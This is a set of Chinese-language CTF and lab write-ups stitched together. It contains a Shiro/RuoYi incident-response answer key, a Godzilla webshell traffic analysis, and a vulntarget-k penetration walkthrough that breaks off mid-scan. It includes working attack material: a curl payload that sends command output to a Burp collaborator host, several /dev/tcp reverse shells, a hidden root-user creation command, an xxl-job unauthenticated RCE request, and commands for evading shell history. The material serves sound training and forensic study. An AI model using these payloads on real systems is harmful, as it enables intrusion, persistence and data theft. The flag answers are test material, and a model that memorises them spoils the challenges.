已知被攻擊主機IP為192.168.0.211,所以我們可以使用過濾器進行過濾 ip.dst == 192.168.0.211
排除掉 192.168.0.200的ping包,這是物理機傳送的正常探測包,往下找到源IP為192.168.0.223看到,疑似存在埠探測行為
使用過濾器篩選 ip.dst == 192.168.0.211&&ip.src==192.168.0.223看到共請求七萬多次,再往下還有http協議
為了驗證猜想,可以使用過濾器篩選,看到埠探測的包的數量
ip.dst == 192.168.0.211&&ip.src==192.168.0.223&&tcp.flags.syn == 1
繼續回到一開始192.168.0.223掃描機器流量階段,可以看到前有埠探測,後有目錄檔案掃描,被掃描的埠有12333和9988
回到Linux主機,我們可以執行 netstat檢視到對外開放的兩個WEB埠正是這兩個
題目 | 答案 |
---|---|
根據流量包分析第二個掃描攻擊的IP和漏掃工具,以flag{x.x.x.x&工具名} | 192.168.0.200&acunetix |
還是根據時間排序,已知第一個掃描的IP行為是埠探測和檔案掃描,在後續進行篩選是可以將此IP過濾掉
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223
翻過去上面ping包後,看到192.168.0.200的IP使用56259埠在批次進行掃描,還有HTTP協議,可以進一步對此IP根據
ip.dst == 192.168.0.211&&ip.src==192.168.0.200&&http
進行過濾後看到以上IP對WEB埠進行了6000次有規律的WEB掃描,由於12333埠是若依框架,不存在的檔案會302跳轉
繼續往下查詢,尋找漏洞掃描器特徵,主要從UA、字典特徵,行為特徵、DNSlog地址、url中的某些地址檢視
在以上圖片中,我們看到在160872次流量中,有bxss.me域名,這是漏掃器 acunetix或稱 AWVS的特徵
經過此次篩選我們已知,192.168.0.200的IP,行為特徵是,已知開放的WEB埠,使用AWVS漏掃器進行漏洞掃描,次數少,特徵明顯
題目 | 答案 |
---|---|
提交頻繁爆破金鑰的IP及爆破次數,以flag{ip&次數}提交 | 192.168.0.226&1068 |
繼續篩選條件,將上方已知攻擊行為的IP排除在外,篩選後看到是192.168.0.226在請求,先檢視有無異常
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223&&ip.src!=192.168.0.200
上圖看到此IP一直請求被攻擊機12333埠,我們單列出來看結果
ip.dst == 192.168.0.211&&ip.src==192.168.0.226
上圖看到,前面是正常的初次連線,進行的TCP會話,但是往後看,297346流量後,全是請求login介面,很有規律,開啟流量包看到疑似在爆破shiro金鑰
上圖看到,追蹤http流以後,第一個請求先確認了shiro框架的存在,接著就是爆破shiro金鑰的行為(若依框架此處開啟了shiro安全框架)
ip.dst == 192.168.0.211&&ip.src==192.168.0.226&&http.request.uri=="/login"
使用以上過濾條件篩選到,192.168.0.226這個IP,爆破shiro金鑰1068次,去除(初次請求握手和探測shiro)三次
目前已知192.168.0.226這個IP行為目的明顯,已知開放的WEB埠,已知框架型別和可能存在的漏洞並嘗試利用
題目 | 答案 |
---|---|
提交攻擊者利用成功的金鑰,以flag{xxxxx}提交 | c+3hFGPjbgzGdrC+MHgoRQ== |
對以上已知的攻擊行為IP進行過濾,看到IP為192.168.0.242剛開始就爆破金鑰
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223&&ip.src!=192.168.0.200&&ip.src!=192.168.0.226
過濾器中加入此IP進行跟進分析行為
ip.dst == 192.168.0.211&&ip.src==192.168.0.242
跟進此IP後,前面經過爆破,沒有成功,而後訪問了9988埠,訪問/actuator/heapdump檔案進行下載(heapdump:JVM 記憶體資訊,分析出明文密碼)
此處攻擊者就是分析heapdump檔案中的金鑰進行的後期攻擊行為,我們可以反編譯/home/security/ruoyi/ruoyi-admin.jar檔案,在ruoyi-admin/src/resource/application.yml檔案檢視到金鑰
假如說是動態金鑰,我們可以利用同樣的方法,下載heapdump,使用相關工具提取金鑰,此處我用的JDumpSpider
https://github.com/whwlsfb/JDumpSpider
經過分析,以上IP進行後攻擊可能性極大,繼續往下跟進分析即可
題目 | 答案 |
---|---|
提交攻擊者獲取到的所有服務的弱口令,多個以&提交 | ruoyi123&admin123&123456 |
這個在流量中看不到,只需看heapdump明文密碼即可,從上往下分析,第一個就是資料庫密碼是弱口令,為ruoyi123
接著往下看到若以的兩個賬號的預設口令同樣為admin123
在往下找到若依框架開啟的druid監控服務預設口令為123456
題目 | 答案 |
---|---|
根據應急響應方法,提交利用漏洞成功的埠,多個以&連線 | 9988&12333 |
已知對外開放的埠為22、9988、12333埠,22埠為遠端連線,9988埠在前期被192.168.0.223進行埠掃描和檔案掃描,被192.168.0.200使用AWVS進行掃描,被192.168.0.242訪問並下載heapdump進行後續利用
而12333埠是若依搭建的框架,被前面IP進行掃描且進行過爆破,最後一步在192.168.0.242這個IP獲取到shiro金鑰
所以綜上所述,9988埠是被直接利用獲取敏感資訊,從而導致12333後續被攻擊成功
題目 | 答案 |
---|---|
根據流量包分析,提交攻擊者利用金鑰探測成功的dnslog地址 | 1dvrle.dnslog.cn |
在攻擊者成功利用金鑰探測成功後,會先探測此主機是否出網,往往會使用dnslog進行測試,我們只需篩選DNS協議及主機
dns&&ip.src==192.168.0.211
流量不多,仔細檢視翻閱,排除掉正常的域名地址,找到dnslog的地址
題目 | 答案 |
---|---|
根據流量包分析,提交攻擊者反彈shell的地址和埠 | 192.168.0.251:8888 |
我們此處繼續篩選,因為爆破和利用shiro都是在若依進行的,若依走的是HTTP協議,直接篩選即可
ip.dst==192.168.0.211&&ip.src==192.168.0.242&&http
shiro的利用過程一般分為以下幾個步驟,較為詳細
此處我們可從下往上逆推流量進行解密,因為前面爆破金鑰,爆破構造鏈等多次,從上往下找不好定位
我這是在過濾後結果最後流量中追蹤的,複製出cookie中rememberMe中的值進行解密,指令碼我這裡用的希譚實驗室ABC123大佬寫的工具
藍隊第3篇:Shiro反序列化資料包解密及藍隊分析工具,提供下載
當然也可以自行將以上流程逆推解密,拿到金鑰,複製以上cookie中的值,看到解密文字
我們可以看到,進行命令執行的Java函式,以及執行的引數進行的base64編碼,和最後使用的惡意工具
透過解碼以上base64編碼後,看到使用curl進行連線burpsuite的dnslog地址,然後去執行系統命令,此處burp地址方便本地檢視結果,透過以上資訊看到反彈的shell地址
題目 | 答案 |
---|---|
攻擊者在主機放置了fscan(已改名),經掃描拿下一臺永恆之藍漏洞主機,以此為線索進行提交fscan絕對路徑 | /opt/.f/.s/.c/.a/.n |
因為是反彈shell,所以在流量包處直接按照以下條件過濾即可
ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888
在主機層面,直接搜尋即可,因為給出提示,掃描出了永恆之藍主機,且fscan預設在掃描後在當前目錄生成一個名為result.txt的檔案
grep -rl 'MS17-010' / 2>/dev/null # 根據關鍵字篩選grep -rl '192.168.0' / 2>/dev/null # 根據網段篩選
上圖中看到,流量包中也存在明文,有些師傅可能會納悶,為什麼流量包內會攜帶呢,我們再去看流量包
在TCP/IP協議中,會話需要經過三次握手和四次揮手,流量包存在是因為SYN,ACK包中存在明文流量,使用以下條件進行過濾
ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888&&tcp.flags.syn == 1 && tcp.flags.ack == 1
根據標誌位進行過濾相應的流量包,然後檢視明文操作
至此可以明白流量傳輸的過程和尋找fscan存放的位置
題目 | 答案 |
---|---|
另類方法:提交此fscan工具的MD5值 | b8053bcd04ce9d7d19c7f36830a9f26b |
有些師傅會問,萬一他把result.txt檔案刪了呢,你怎麼模糊搜尋,很好,非常好的問題,所以這個時候,用到了MD5值(此處我是用的是md5sum工具)
find / -type f -exec md5sum {} \;
這個命令是遞迴從根目錄下使用md5sum計算所有檔案的MD5列出,但是不好的是資料量太大,容易卡死
繼續對命令進行最佳化,只對可執行檔案列出MD5值,匯入到一個檔案中,然後對比fscan的MD5
find / -type f -executable -exec md5sum {} \;>1.txt
此處我對所有可執行檔案的MD5進行輸出到1.txt檔案,然後接著對原fscan的MD5進行對比
有些師傅會問,我這要MD5有啥用啊,我們首先要知道,每個檔案都是一個獨立的個體,MD5是唯一的,改名不改內容,MD5是不變的,在首次查殺到這個病毒木馬檔案後,會記錄此檔案的MD5值併入庫,後面直接對比此檔案的MD5,就無需再次查殺,浪費資源,MD5相當於檔案的獨立身份,如直接使用剛剛的MD5去微步檢視到是fscan工具
題目 | 答案 |
---|---|
攻擊者為了許可權維持,在主機放置了模擬遠控工具,需提交此遠控工具的下載地址 | http://zhoudinb.com:12345/qxwc.sh |
當然了,我們可以繼續檢視流量包,明文看到攻擊者的操作,排除掉流量包,我們使用主機如何去查呢
計劃任務可以看到,每10分鐘執行.qxwc.sh,至於為什麼直接這樣,這是攻擊者做計劃任務的一個常規手段,屬於一個細節上的地方,這一塊主要是考慮到計劃任務的配置排查
題目 | 答案 |
---|---|
攻擊者就知道你會這樣找到,所以又建立了一條相關的指令碼,使用其他方法進行下載,提交指令碼的絕對路徑 | /home/security/upload/.CCC/.happy.sh |
排除計劃任務,在Linux中還存在另一種方法,就是開機自啟,我們可以透過systemctl檢視,他的執行檔案路徑在/etc/systemd/system/,建立任務是透過此目錄下進行定位檔名建立任務名
ls -l --time-style=long-iso /etc/systemd/system/ | sort -k 6,7
使用以上命令可以按照最後改變時間進行排序,從下往上看可疑檔案
看到有happy.service疑似非系統自帶任務,檢視後確認為惡意檔案,接著檢視相應檔案,並確認絕對路徑
題目 | 答案 |
---|---|
攻擊者建立了一個隱藏使用者,提交此使用者的使用者名稱 | xj1zhoudi@kali |
cat /etc/passwd |grep bash
透過以上命令檢視到只有兩個使用者擁有登入許可權
確認shadow檔案沒有問題,檢視可登入使用者的/.ssh目錄,並檢視公鑰檔案,最終在/root/.ssh/.id_rsa.pub看到可疑使用者名稱
所做的操作,在反彈shell埠中都是明文操作,透過流量包過濾,可看到明文流量(因為傳輸過程沒有加密)
攻:滲透階段
- 資訊收集階段
攻擊者首先使用移動IP192.168.0.223對目標主機使用nmap進行了全埠掃描,並獲取到開放的三個埠
而後攻擊者使用dirsearch和其它目錄攻擊掃描對應的web埠目錄檔案
經過簡單的進行了前期收集掃描,沒有掃到有用的檔案,但是已知開放了的WEB埠,後因為攻擊者被IPS和WAF識別出,進行了封禁
而後攻擊者更換IP使用漏掃攻擊,專項對相應WEB埠進行漏洞掃描攻擊,IP地址為192.168.0.200
經過掃描,攻擊者得到9988埠存在spring boot actuator模組
經過此次漏洞掃描,攻擊者獲取到了相應的未授權訪問漏洞,後續又被IPS和WAF進行識別並加黑IP
攻擊者開始針對於業務站點12333埠,已知存在shiro框架,更換IP192.168.0.226進行爆破shiro金鑰
2. 漏洞利用階段
但是奈何此IP動作太大,後續被流量監測封禁,攻擊者繼續更換IP192.168.0.242且下載9988埠下的heapdump檔案獲取敏感資訊shiro-key且得到幾個弱口令
而後,攻擊者使用CommonsBeanutils1鏈進行攻擊,進行DNSlog出網探測
而後攻擊者構造payload進行命令注入、反彈shell攻擊
curl --connect-timeout 3 http://301m1dvwq05pbbjg28i9s152itojc8.burpcollaborator.net/2/ -d data=$((whoami)|base64 -w 0)
對以上payload進行base64編碼,然後在構造一個解碼的payload進行shiro反序列化攻擊,從而執行命令
bash -c {echo,Y3VybCAtLWNvbm5lY3QtdGltZW91dCAzIGh0dHA6Ly8zMDFtMWR2d3EwNXBiYmpnMjhpOXMxNTJpdG9qYzguYnVycGNvbGxhYm9yYXRvci5uZXQvMi8gLWQgZGF0YT0kKCh3aG9hbWkpfGJhc2U2NCAtdyAwKQ==}|{base64,-d}|{bash,-i}
經過執行後,攻擊流量會透過反序列化成功後進行命令執行,執行curl(burp suite)生成的dnslog地址,傳送請求,連帶後面的命令執行payload回傳給dnslog地址,在burp中可以看到,首先走了DNS流量,然後走了HTTP流量,在POST包的data中解碼看到當前使用的使用者(執行若依的使用者)
將以上payload進行改動,whoami命令改為反彈shell命令繼續執行,192.168.0.251做為跳板機監聽相應埠
curl --connect-timeout 3 http://onf7oyihdlsayw61pt5ufmsn5eb5zu.burpcollaborator.net/2/ -d data=$((bash -i >& /dev/tcp/192.168.0.251/8888 0>&1)|base64 -w 0)
經過再次編碼後可以看到上線目標主機上線跳板機8888埠成功
3. 許可權維持階段
攻擊者上線目標主機後需要進行許可權維持或橫向漏洞掃描,在/opt/.f/.s/.c/.a/n目錄下放置了fscan工具並改名,進行漏洞掃描,獲取到了一臺永恆之藍機器
然後在/opt/.Abc/.qxwc.sh建立許可權維持指令碼(此處模擬),並建立定時計劃任務
接著建立開啟自啟動計劃任務,並繼續下載許可權維持指令碼,以防止被刪除原指令碼
然後在本地生成一個使用者公私鑰,上傳公鑰到目標主機,後續繼續連線,稱為使用者許可權維持(模擬-此處不在復現,直接看流量包即可)
0x03 總結
IP | 排查攻擊思路 |
---|---|
192.168.0.223 | 埠掃描+檔案目錄掃描 |
192.168.0.200 | 針對WEB埠漏洞掃描 |
192.168.0.226 | 爆破shiro金鑰 |
192.168.0.242 | 目的明確、獲取敏感資訊+利用漏洞成功 |
192.168.0.251 | 跳板機、反彈shell地址 |
本次思路按照之前行業攻防應急響應前期應急響應經驗+本人人為經驗進行綜合整理歸納,如有不妥之處請指出,本篇文章主要以符合現實角度去理解在單機應急響應下的思路排查,不作為所有環境思路,歡迎各位師傅指導
哥斯拉ekp版本流量分析
1、駭客上傳的木馬檔名是什麼?
流量分析,PUT方法的請求包很顯眼,檢查內容確定webshell的檔名
flag{.index.jsp}
2、駭客上傳的木馬連線密碼是什麼?
flag{mypass}
3、駭客上傳的木馬連線金鑰是什麼?
flag{9adbe0b3033881f8}
4、駭客連線webshell後執行的第一條命令是什麼?
String xc = "9adbe0b3033881f8"; String pass = "mypass"; String md5 = md5(pass + xc);
echo -n mypass9adbe0b3033881f8 | md5sum = c106ebc2340909ffc3e4086abe645680
md5.substring(0, 5) = c106e
base64解碼兩次
https://cyberchef.org/
根據哥斯拉二開的特徵組裝一下流程
Comment('解碼請求包')
URL_Decode()
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'UTF8','string':'9adbe0b3033881f8'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Gunzip()
Comment('解碼響應包')
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'UTF8','string':'9adbe0b3033881f8'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Gunzip()
wireshark可以匯出全部http包,一個一個檢查.index.jsp
dnVMRU9ld0NDRzg1L3NMd0pKVjI3Sit3WEhUc2E0M21MU0JUMFAvTW96U0dyS280RHRGTmROdHFNMUdXNDhWcFl5c2dEeXo5RS9ZTVh0RG1QM1doZkYyT3Ric2p3L0JaM0VXUEpBVTJTenNpQ1FDVWtJbnZBMEVwSmdZS2JkdUIxbE9ORFZENUlMd1hSc2Jpb3lCQ2JxUXRiSlA4UVc5NTBBYzZFM1ZlYk02YU92VmtXdDZiV3dXZ1FyTVV6RHdIN2hzYkFpcUZ6T3RFR2Z6QklDc2FhZHlyeFp0WTg3NXV1bFY4UmhMTjBRcz0%3D
sh -c "cd "/";cat /etc/passwd" 2>&1arg-3
flag{cat /etc/passwd}
5、這個木馬是根據哪個引數進行回顯的?(提交引數名)
流量分析和程式碼分析
flag{Rec106e_config}
6、駭客留下後門的反連的IP和PORT是什麼?(flag{IP,PORT})
流量分析
ZFg1YzlFQmZ1UjM2SVNXL3RuZTd6alk1Zjk1UTNoLzBza3hDeCs4R2h2Vkc0b3AyQVk3bXVlZzUvdGw5VlVtNlYzWTRjYUpJQjV5a3MzVlRSUXd5NmJwRGkrU1ZXOXU1SUVVU2lUVjNYT1U2VGFuVUdxWThmdjEwbTREemlBVWtnaFZDMUxqSmlXZGRvUTlMb1VUblhrYnl3WW93dnYwYTJLcXQ3Ujc0WjU5eVNMNlhSQ1dkZG9MMEh5NndEbXBiZDI0YnlHd1NDNW43VEJMcnRrQnpBUGp0VGhDN1lxejRQNUtFQmhHUmo0U0V1T3Boc2M5ZnkwWTQ5N1hyOUw5L3QzL1FBNU5KQ3pwSERycGlDMi9RQnptTDF1TDl0RldINHRUY21GbmVlNW4rRzlzYjRhOGtnalZubXlrc3BBOWk%3D
解碼流量
sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==|base64 -d|bash" 2>&1arg-3
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==
base64解碼
/bin/bash -i >& /dev/tcp/192.168.31.205/4444 0>&1
flag{192.168.31.205,4444}
7、駭客透過後門反連執行的第一條命令是什麼?
瀏覽分析,排查4444埠的tcp流量
flag{ls}
8、駭客新增的後門使用者名稱密碼是什麼?(提交flag{username,password})
瀏覽分析,排查4444埠的tcp流量
echo dXNlcmFkZCAtcCBgb3BlbnNzbCBwYXNzd2QgLTEgLXNhbHQgJ3NhbHQnIFhqQDY2Ni5gIHggLW8gLXUgMCAtZyByb290IC1HIHJvb3QgLXMgL2Jpbi9iYXNoIA==|base64 -d|bash
useradd -p openssl passwd -1 -salt 'salt' Xj@666. x -o -u 0 -g root -G root -s /bin/bash
flag{x,Xj@666.}
9、駭客新增的後門檔案是什麼?(提交完整路徑)
- 可根據攻擊者上傳的檔案的建立時間範圍搜尋一個範圍內的檔案,然後一個個排查
- 在剛登入的一段時間內,檢查程序資訊,亦可看到程序裡面有 bash -c /bin/bash -i >& /dev/tcp/192.168.31.200/4444 0>&1的反連命令在執行,然後使用grep查詢也可以發現後門檔案的路徑
grep '192.168.31.200' -iR /etc/*
排查思路是檢查如TCP_Wrappers等常見許可權維持的路徑、檔案
flag{/etc/hosts.allow}
10、駭客的後門公鑰是什麼?(提交公鑰的md5值)
放了兩條,在 /root/.bash_h1story/.keys 和 /root/.ssh/authorized_keys
flag{d7bf0e27d6f533604250faceb28b6d4b}
11、駭客注入的記憶體馬代理是那種型別的?(如flag{frp})
流量分析結合程式碼分析,有一段runuseragent的呼叫,根據使用user-agent這一特徵,透過網路搜尋確定記憶體馬代理型別為 Suo5
flag{Suo5}
12、這個代理的路徑是什麼?(如flag{/frp})
流量分析結合程式碼分析
flag{/connect}
13、這個代理的連線密碼是什麼?(將得到的密碼md5後作為flag提交)
流量分析結合程式碼分析,有一段runuseragent的呼叫
echo -n 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3' | md5sum
flag{e3c77fd790af8d25fe271cd275eb405e}
14、駭客掃描了哪個ip的哪些埠?(埠按照文字順序提交即可 如:flag{ip,21,22,23})
流量分析,檢查請求包,根據傳送判斷執行了之前請求的paylad
U1BOQVh5a2FSM2s5ZS80UVFLdUFHNTZhczJjMVRwcE41eWdJdGtDaVMwYlU5YnhlaXg1NTM4c0l4VE1wZnRDUXhMbitxblQySGxsS1o5SERnK1huanYzdEpnS3RhYVVBUmtjR0Q3Yml4ajRRTkRpZWZSVmVUcUxhVWlmU0hTYWNKSzkzYjFHN1p2YkJTejhpdWtpSFFkMVlRcUZwbDdpWFpybFBCOStDRkhGRjQ2RXV0T1dPYVM4VGR3eXlRTU12TWVlV0prMTBWNjBNT0pSakNpQldOUT09
127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222
flag{127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222}
15、駭客掃描到開放的埠有哪些?(埠從小到大排序提交 如:flag{21,22,23})'
流量分析,檢查響應包
O0pxNnI7RBLmTfxrZXBrd1hPUptIuxNFvFA0fwK3H6tpwnz3L//0O5GRj/NMw8O+Ve0PQGfQQGLSAWkVLE1AB9EV0bTKEBBhx/vVcCW6STm7yr2TwRZZHhMn5g3vJvX1
127.0.0.1 873 0 127.0.0.1 3306 0 127.0.0.1 8080 0 127.0.0.1 81 0 127.0.0.1 8081 1 127.0.0.1 22 0 127.0.0.1 88 0 127.0.0.1 8088 0 127.0.0.1 445 0 127.0.0.1 443 0 127.0.0.1 1433 0 127.0.0.1 8888 0 127.0.0.1 21 0 127.0.0.1 80 0 127.0.0.1 222 1 127.0.0.1 3389 0
flag{222,8081}
參考資料
- 哥斯拉流量分析
- ShiroAttack2:記憶體馬-SUO5正向代理
- Godzilla外掛|記憶體馬|Suo5記憶體代理|jmg for Godzilla
應急響應-vulntarget-k
xxl-job-admin未授權RCE/後臺RCE、nacos未授權、springcloudgateway RCE、redis、內網流量代理
下載地址:
連結:
https://pan.baidu.com/s/1sv9qdioNF4PTUliix5HEfg
提取碼: 2dwq
其中vulntarget-k是本次環境
github地址:
https://github.com/crow821/vulntarget
測試說明:
1. 映象都是基於**VM16.x做的**
2. 操作人員自行修改對應IP\3. 下載靶機,開機之後,確認自己網路配置好了,可以選擇本地做一個快照,原本的快照可能會因為製作靶機的處理器和當前開啟靶機的處理器不一致,導致快照恢復失敗,或者異常(見諒)
網路拓撲
01 外網-xxl-job
1.1 外網打點
配置好網路之後,外網IP為:10.30.7.106
直接訪問,連線被拒絕,80埠未開放
nmap掃描其開放埠,檢查全埠的開放情況
┌──(rooteval)-[~]└─# nmap -v -sS -Pn -p- 10.30.7.106Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-27 15:06 CSTInitiating ARP Ping Scan at 15:06Scanning 10.30.7.106 [1 port]Completed ARP Ping Scan at 15:06, 0.10s elapsed (1 total hosts)Initiating Parallel DNS resolution of 1 host. at 15:06Completed Parallel DNS resolution of 1 host. at 15:06, 0.04s elapsedInitiating SYN Stealth Scan at 15:06Scanning 10.30.7.106 [65535 ports]Discovered open port 8080/tcp on 10.30.7.106Discovered open port 22/tcp on 10.30.7.106Discovered open port 8081/tcp on 10.30.7.106Discovered open port 9999/tcp on 10.30.7.106Completed SYN Stealth Scan at 15:07, 13.57s elapsed (65535 total ports)Nmap scan report for 10.30.7.106Host is up (0.00084s latency).Not shown: 65531 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh8080/tcp open http-proxy8081/tcp open blackice-icecap9999/tcp open abyssMAC Address: 00:0C:29:50:FE:AC (VMware)
Read data files from: /usr/bin/../share/nmapNmap done: 1 IP address (1 host up) scanned in 14.16 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
發現就開了4個埠,22,8080,8081,9999
同時也使用fscan掃描,沒有檢測出漏洞和特徵
./fscan -h 10.30.7.106 -np -p 1-65535
其中22埠為ssh的連線埠,暫時不考慮爆破,先從web埠入手試試
分別訪問三個web埠試試
8080埠,404沒有內容,原始碼裡面也沒有資訊
dirsearch掃描目錄:python3 dirsearch.py -u http://10.30.7.106:8080
,沒有掃描到目錄
暫時線索斷了,看看其他埠(xxl-job-admin這個目錄建議放到自己的掃描器字典裡面)
8081埠:
http://10.30.7.106:8081
報錯頁面,同樣嘗試掃描其目錄,同樣沒有資訊
9999埠:
http://10.30.7.106:9999/
500的報錯頁面,將其埠和報錯內容放到搜尋引擎中搜尋
1.2 xxl-job-execute未授權rce
根據搜尋的資訊,發現9999埠是xxl-job的,且存在未授權RCE,可用exp如下:
POST /run HTTP/1.1Host: your-ip:9999Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 365
{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "touch /tmp/success", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0}
hackbar發一個反彈shell的包試試
{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "bash -c 'exec bash -i &>/dev/tcp/10.30.7.77/7777 <&1'", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0}
成功收到shell
得到root許可權,做一個互動式shell,檢視history記錄,沒有記錄。
先將自己的後續執行命令給隱藏起來,執行以下命令:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
在該目錄下發現有兩個jar包,xxl-job-executor-sample-springboot-2.2.0.jar是未授權啟動的web服務,另一個應該是8080埠的xxl-job-admin的包。
檢視開機啟動服務
systemctl list-unit-files --type=service|grep enabled
root@vulntarget-k:/home/xxl-job/xxl-jar# systemctl list-unit-files --type=service|grep enabled<stemctl list-unit-files --type=service|grep enabledaccounts-daemon.service enabled apparmor.service enabled atd.service enabled autovt@.service enabled blk-availability.service enabled cloud-config.service enabled cloud-final.service enabled cloud-init-local.service enabled cloud-init.service enabled console-setup.service enabled cron.service enabled dbus-org.freedesktop.resolve1.service enabled dbus-org.freedesktop.thermald.service enabled ebtables.service enabled getty@.service enabled irqbalance.service enabled iscsi.service enabled keyboard-setup.service enabled lvm2-monitor.service enabled lxcfs.service enabled lxd-containers.service enabled mysql.service enabled networkd-dispatcher.service enabled ondemand.service enabled open-iscsi.service enabled open-vm-tools.service enabled pollinate.service enabled rsync.service enabled rsyslog.service enabled setvtrgb.service enabled snapd.aa-prompt-listener.service enabled snapd.apparmor.service enabled snapd.autoimport.service enabled snapd.core-fixup.service enabled snapd.recovery-chooser-trigger.service enabled snapd.seeded.service enabled snapd.service enabled snapd.system-shutdown.service enabled ssh.service enabled sshd.service enabled syslog.service enabled systemd-fsck-root.service enabled-runtimesystemd-networkd-wait-online.service enabled systemd-networkd.service enabled systemd-resolved.service enabled systemd-timesyncd.service enabled thermald.service enabled ua-reboot-cmds.service enabled ufw.service enabled unattended-upgrades.service enabled ureadahead.service enabled vgauth.service enabled vmtoolsd.service enabled xxl-job-8080.service enabled xxl-job-9999.service enabled
為了方便執行命令,弄了互動式的shell
$python3 -c 'import pty; pty.spawn("/bin/bash")'$export SHELL=bash$export TERM=xterm-256colorCtrl-Z$ stty raw -echo;fg$ reset(回車)
1.3 xxl-job-admin後臺rce
根據9999埠xxl-job-execute獲取的shell分析,可以發現還存在另一個web程式,xxl-job-admin後臺的預設地址為:/xxl-job-admin
8080埠跟上路徑成功訪問到:
http://10.30.7.106:8080/xxl-job-admin/toLogin
使用預設賬密登入失敗,想爆破,發現有點卡,就放棄了
嘗試將jar包下載下來反編譯看看
python3 -m http.server 8000
這裡直接解壓或者反編譯都可以,反編譯用的jadx
直接解壓之後的目錄結構
在目錄下會有一個配置檔案:xxl-job-admin-2.2.0\BOOT-INF\classes\application.properties
可以看到資料庫的賬號密碼
xxl-job-admin配置的是強口令,無法直接爆破,或者在未授權RCE之後連線到資料庫讀取密碼,或者新增密碼
這裡可以得到xxl-job-admin後臺的密碼,MD5解密失敗
新增一個即可
printf("hello world!");
新增密碼為123456
進入後臺之後,在任務管理出可以做計劃任務,填好必填項,執行模式為shell,儲存
儲存之後,操作->GLUE IDE
重新編輯命令為:
#!/bin/bashbash -c 'exec bash -i &>/dev/tcp/10.30.7.77/8888 <&1'
儲存,回來之後點選執行一次
大機率會失敗,具體的配置原因不知,執行器地址為空,排程失敗
已經進入後臺,所以可以為所欲為,配置一下就好,修改為本機ip。在攻防計劃任務裡面編輯
修改機器地址為本機的9999:
http://10.30.7.106:9999/
(至於為什麼是這個暫時沒有研究)
修改好之後,重新去執行命令,重改監聽埠為8888
重新執行即可獲取到shell
1.4 內網資訊收集
獲取外網主機許可權之後,檢視ip時發現還存在內網地址,地址為:192.168.100.20
在root目錄下,存放有一個flag
上fscan掃描內網資訊
上傳之後賦許可權執行:./fscan -h 192.168.100.1/24 -np
root@vulntarget-k:/root# ./fscan -h 192.168.100.1/24 -np
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ // /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1start infoscan192.168.100.20:22 open192.168.100.50:22 open192.168.100.1:135 open192.168.100.1:139 open192.168.100.1:445 open192.168.100.20:8080 open192.168.100.1:7680 open192.168.100.20:8081 open192.168.100.50:8800 open192.168.100.50:8848 open192.168.100.20:9999 open[*] alive ports len is: 11start vulscan[*] WebTitle:http://192.168.100.20:8080 code:404 len:431 title:HTTP Status 404 – Not Found[*] 192.168.100.1 WORKGROUP\MORTALS [*] WebTitle:http://192.168.100.20:8081 code:404 len:121 title:None[*] WebTitle:http://192.168.100.20:9999 code:200 len:61 title:None[+] NetInfo:[*]192.168.100.1 [->]mortals [->]10.30.2.1 [->]192.168.100.1 [->]10.30.2.83 [->]172.25.16.1 [->]192.168.88.1[*] WebTitle:http://192.168.100.50:8848 code:404 len:431 title:HTTP Status 404 – Not Found[*] WebTitle:http://192.168.100.50:8800 code:503 len:124 title:None[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos [+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos-v1-auth-bypass [+] http://192.168.100.50:8800 Spring-Cloud-CVE-2022-22947 [+] http://192.168.100.50:8800 poc-yaml-spring-actuator-heapdump-file [+] http://192.168.100.50:8800 poc-yaml-springboot-env-unauth spring2已完成 9/11 [-] ssh 192.168.100.20:22 root 123qwe ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 9/11 [-] ssh 192.168.100.50:22 root 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain已完成 9/11 [-] ssh 192.168.100.50:22 admin 